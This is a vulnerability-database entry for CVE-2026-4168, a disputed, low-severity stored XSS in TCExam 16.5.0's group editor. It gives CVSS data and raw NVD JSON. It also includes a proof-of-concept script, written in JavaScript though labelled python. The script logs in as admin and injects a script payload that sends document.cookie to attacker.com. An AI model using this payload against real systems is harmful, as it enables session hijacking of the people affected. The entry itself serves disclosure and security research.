Security Vulnerability Report
中文
CVE-2026-4168 CVSS 2.4 LOW

CVE-2026-4168

Published: 2026-03-16 14:19:56
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was identified in Tecnick TCExam 16.5.0. This impacts an unknown function of the file /admin/code/tce_edit_group.php of the component Group Handler. Such manipulation of the argument Name leads to cross site scripting. The attack may be launched remotely. The exploit is publicly available and might be used. The presence of this vulnerability remains uncertain at this time. The affected component should be upgraded. The vendor explained: "I was not able to reproduce the same exploit as the TCExam version was already advanced in the meanwhile." Therefore, it can be assumed that this issue got fixed in a later release.

CVSS Details

CVSS Score
2.4
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Tecnick TCExam <= 16.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-4168 PoC - TCExam XSS in Group Handler // Target: http(s)://<target>/admin/code/tce_edit_group.php // Method: POST // Authentication: Requires high-privilege admin account const axios = require('axios'); const querystring = require('querystring'); // Configuration const TARGET_URL = 'http://<target>/admin/code/tce_edit_group.php'; const USERNAME = '<admin_username>'; const PASSWORD = '<admin_password>'; // XSS Payload - Cookie Stealer const XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; async function exploit() { try { // Step 1: Login to get session cookie const loginData = querystring.stringify({ 'user_name': USERNAME, 'user_pass': PASSWORD, 'submit': 'Login' }); const loginResponse = await axios.post( TARGET_URL.replace('/code/tce_edit_group.php', '/login.php'), loginData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, maxRedirects: 0, validateStatus: (status) => status < 500 } ); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Login attempt completed'); // Step 2: Send XSS payload via group name parameter const exploitData = querystring.stringify({ 'name': XSS_PAYLOAD, 'submit': 'Save' }); const exploitResponse = await axios.post( TARGET_URL, exploitData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookies } } ); console.log('[+] XSS payload sent'); console.log('[+] Target affected if script executes on admin page view'); console.log('[+] Payload:', XSS_PAYLOAD); } catch (error) { console.error('[-] Error:', error.message); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4168", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:56.350", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Tecnick TCExam 16.5.0. This impacts an unknown function of the file /admin/code/tce_edit_group.php of the component Group Handler. Such manipulation of the argument Name leads to cross site scripting. The attack may be launched remotely. The exploit is publicly available and might be used. The presence of this vulnerability remains uncertain at this time. The affected component should be upgraded. The vendor explained: \"I was not able to reproduce the same exploit as the TCExam version was already advanced in the meanwhile.\" Therefore, it can be assumed that this issue got fixed in a later release."}, {"lang": "es", "value": "Se identificó una vulnerabilidad en Tecnick TCExam 16.5.0. Esto afecta a una función desconocida del archivo /admin/code/tce_edit_group.php del componente Gestor de Grupos. Dicha manipulación del argumento Name conduce a cross-site scripting. El ataque puede ser lanzado remotamente. El exploit está disponible públicamente y podría ser utilizado. La presencia de esta vulnerabilidad sigue siendo incierta en este momento. El componente afectado debería ser actualizado. El proveedor explicó: 'No pude reproducir el mismo exploit ya que la versión de TCExam ya había avanzado mientras tanto.' Por lo tanto, se puede asumir que este problema fue solucionado en una versión posterior."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:N", "baseScore": 3.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 6.4, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/ahmadmarz10-hub/CVEsMarz/blob/main/CVE%20Stored%20XSS.md", "source": "[email protected]"}, {"url": "https://github.com/tecnickcom/tcexam/tags", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351075", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351075", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769826", "source": "[email protected]"}]}}